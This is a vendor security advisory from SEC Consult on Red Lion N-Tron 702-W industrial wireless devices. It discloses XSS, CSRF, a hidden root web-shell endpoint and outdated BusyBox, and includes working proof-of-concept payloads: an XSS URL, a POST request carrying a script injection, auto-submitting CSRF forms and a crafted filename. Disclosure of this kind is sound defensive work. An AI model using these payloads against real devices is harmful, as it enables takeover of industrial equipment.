Red Lion N-Tron 702-W / 702M12-W 2.0.26 XSS / CSRF / Shell

`SEC Consult Vulnerability Lab Security Advisory < 20200902-0 >  
=======================================================================  
title: Multiple Vulnerabilities  
product: Red Lion N-Tron 702-W, Red Lion N-Tron 702M12-W  
vulnerable version: <=2.0.26  
fixed version:  
CVE number: CVE-2020-16210, CVE-2020-16206, CVE-2020-16208,  
CVE-2020-16204  
impact: High  
homepage: https://www.redlion.net/  
found: 2020-02-28  
by: T. Weber (Office Vienna)  
SEC Consult Vulnerability Lab  
  
An integrated part of SEC Consult  
Europe | Asia | North America  
  
https://www.sec-consult.com  
  
=======================================================================  
  
Vendor description:  
-------------------  
"For over forty years, customers around the world have trusted Red Lion  
Controls. Our award-winning industrial automation and  
networking solutions provide critical information and controls to  
improve productivity, working with numerous devices and diverse  
protocols to access data."  
  
Source: https://www.redlion.net  
  
  
Business recommendation:  
------------------------  
The vendor recommends to change the hardware and use a newer product.  
SEC Consult recommends to remove the device from productive environments.  
  
  
Vulnerability overview/description:  
-----------------------------------  
1) Reflected Cross-Site Scripting (XSS) - CVE-2020-16210  
A reflected cross-site scripting vulnerability was identified at the endpoint  
"/pingtest_action.cgi". An attacker is also able to perform actions in the  
context of the attacked user.  
  
2) Stored Cross-Site Scripting (XSS) - CVE-2020-16206  
Stored cross-site scripting vulnerabilities are present on multiple endpoints.  
Such placed payloads cannot be detected via browser-protection mechanisms as  
they are embedded into the web-interface.  
An attacker is also able to perform actions in the context of the attacked user.  
  
3) Cross-Site Request Forgery (CSRF) - CVE-2020-16208  
CSRF protection is not implemented at all.  
Such a vulnerability enables an attacker to modify different configurations of  
a device by luring an authenticated user to click on a crafted link. An  
attacker is able to take over the device by exploiting this vulnerability.  
  
4) Hidden OS Web-Shell Interface - CVE-2020-16204  
An undocumented interface, that contains a web-shell to the underlying OS, was  
found to be present on the device. It is not referenced in the actual menu  
and is also not mentioned in the manual of the device.  
Commands can be executed as root on the device. A remote attacker can execute  
system commands via this way in combination with vulnerability #3.  
  
This endpoint seems to be a leftover of the used Atheros SDK.  
  
5) Known BusyBox Vulnerabilities  
The used BusyBox toolkit in version 1.11.0 is outdated and contains multiple  
known vulnerabilities. The outdated version was found by IoT Inspector.  
  
6) Outdated and Vulnerable Software Components  
Outdated and vulnerable software components were found on the device during  
a quick examination.  
  
The vulnerabilities 1), 2), 3), 4) and 5) were manually verified on an emulated  
device by using the MEDUSA scalable firmware runtime.  
  
  
Proof of concept:  
-----------------  
1) Reflected Cross-Site Scripting (XSS) - CVE-2020-16210  
The "pingtest_action.cgi" endpoint can be used to trigger reflected XSS.  
http://$IP/pingtest_action.cgi?action=pingtest&dst_ip_addr=1&dst_addr_select=127.0.0.1&lines=%3Chtml%3E%3Cscript%3Ealert(document.location)%3C/script%3E%3C/html%3E  
  
2) Stored Cross-Site Scripting (XSS) - CVE-2020-16206  
Injection of a XSS payload is possible on multiple endpoints. An example  
for permanent XSS on the endpoint "/network.cgi" is the following request:  
-------------------------------------------------------------------------------  
POST /network.cgi HTTP/1.1  
Host: $IP  
Accept-Encoding: gzip, deflate  
Content-Type: multipart/form-data; boundary=---------------------------195698564115308644282115103021  
Content-Length: 915  
Authorization: Basic YWRtaW46YWRtaW4=  
Connection: close  
Cookie: ui_language=en_US  
Upgrade-Insecure-Requests: 1  
  
-----------------------------195698564115308644282115103021  
Content-Disposition: form-data; name="netmode"  
  
bridge  
-----------------------------195698564115308644282115103021  
Content-Disposition: form-data; name="wlanipmode"  
  
0  
-----------------------------195698564115308644282115103021  
Content-Disposition: form-data; name="brip"  
  
192.168.1.202  
-----------------------------195698564115308644282115103021  
Content-Disposition: form-data; name="brmask"  
  
255.255.255.0  
-----------------------------195698564115308644282115103021  
Content-Disposition: form-data; name="brgw"  
  
192.168.1.1"><script>alert(document.location)</script>  
-----------------------------195698564115308644282115103021  
Content-Disposition: form-data; name="dns1"  
  
  
-----------------------------195698564115308644282115103021  
Content-Disposition: form-data; name="dns2"  
  
  
-----------------------------195698564115308644282115103021--  
-------------------------------------------------------------------------------  
  
This can also be embedded in the HTML code as shown below:  
-------------------------------------------------------------------------------  
<html>  
<body>  
<script>history.pushState('', '', '/')</script>  
<form action="http://$IP/network.cgi" method="POST" enctype="multipart/form-data">  
<input type="hidden" name="netmode" value="bridge" />  
<input type="hidden" name="wlanipmode" value="0" />  
<input type="hidden" name="brip" value="192.168.1.202" />  
<input type="hidden" name="brmask" value="255.255.255.0" />  
<input type="hidden" name="brgw" value="192.168.1.1"><script>alert(document.location+" > SEC-Consult")</script>" />  
<input type="hidden" name="dns1" value="" />  
<input type="hidden" name="dns2" value="" />  
<input type="submit" value="Submit request" />  
</form>  
</body>  
</html>  
-------------------------------------------------------------------------------  
  
3) Cross-Site Request Forgery (CSRF) - CVE-2020-16208  
CSRF can be triggered on each endpoint as the whole web-interface does not  
implement any protection mechanisms. Changing the hostname to "SEC Consult" can  
be done with the following embedded HTML code:  
-------------------------------------------------------------------------------  
<html>  
<body>  
<script>history.pushState('', '', '/')</script>  
<form action="http://$IP/system.cgi" method="POST" enctype="multipart/form-data">  
<input type="hidden" name="hostname" value="SEC Consult" />  
<input type="hidden" name="action" value="chhost" />  
<input type="submit" value="Submit request" />  
</form>  
</body>  
</html>  
-------------------------------------------------------------------------------  
  
4) Hidden OS Web-Shell Interface - CVE-2020-16204  
The endpoint "/admin.cgi" is not referenced within the whole web-interface and  
also not documented in the manual. By browsing this endpoint, multiple actions  
can be natively triggered:  
* Execute commands in context of the root user  
* Upload files  
* Download files  
* Change access rights  
All other actions can be done via the command execution. The lack of CSRF  
protections allows attackers to execute commands on the device by luring a  
user on malicious web-pages.  
  
5) Known BusyBox Vulnerabilities  
The BusyBox shell autocompletion vulnerability (CVE-2017-16544) was verified on  
an emulated device:  
  
A file with the name "\ectest\n\e]55;test.txt\a" was created to trigger the  
vulnerability.  
-------------------------------------------------------------------------------  
# ls "pressing <TAB>"  
test  
55\;test.txt  
#  
-------------------------------------------------------------------------------  
  
6) Outdated Software Components  
By analyzing the firmware a lot of components are found to be outdated:  
* BusyBox 1.0.1  
* PHP/FI 2.0.1  
* Dnsmasq 2.35  
* Boa 0.93.15  
  
Vulnerable / tested versions:  
-----------------------------  
the following firmware version has been tested:  
* Red Lion N-Tron 702-W / 2.0.26  
* Red Lion N-Tron 702M12-W / 2.0.26  
  
  
Vendor contact timeline:  
------------------------  
2020-03-09: Contacting vendor through [email protected]; No answer.  
2020-03-17: Asked for status update; No answer.  
2020-03-30: Asked for status update, added [email protected] to  
the list of recipients; No answer.  
2020-04-13: Requested support for coordination from CERT@VDE for the advisory.  
Sent the advisory to the CERT.  
2020-04-14: Security contact from CERT@VDE answered, that ICS-CERT was also in-  
formed.  
2020-07-17: Asked contact at ICS-CERT for status update; Contact stated that  
they are waiting for an update of Red Lion.  
2020-08-20: Received CISA draft for an advisory from CERT@VDE.  
2020-08-28: Found the published advisory on CISA's website* which was released  
on 2020-08-27.  
2020-09-02: Release of security advisory.  
  
* https://us-cert.cisa.gov/ics/advisories/icsa-20-240-01  
  
Solution:  
---------  
Upgrade to newer hardware.  
  
  
Workaround:  
-----------  
None.  
  
  
Advisory URL:  
-------------  
https://www.sec-consult.com/en/vulnerability-lab/advisories/index.html  
  
  
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~  
  
SEC Consult Vulnerability Lab  
  
SEC Consult  
Europe | Asia | North America  
  
About SEC Consult Vulnerability Lab  
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recommendation about the risk profile of new technologies.  
  
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EOF T. Weber / @2020  
  
  
`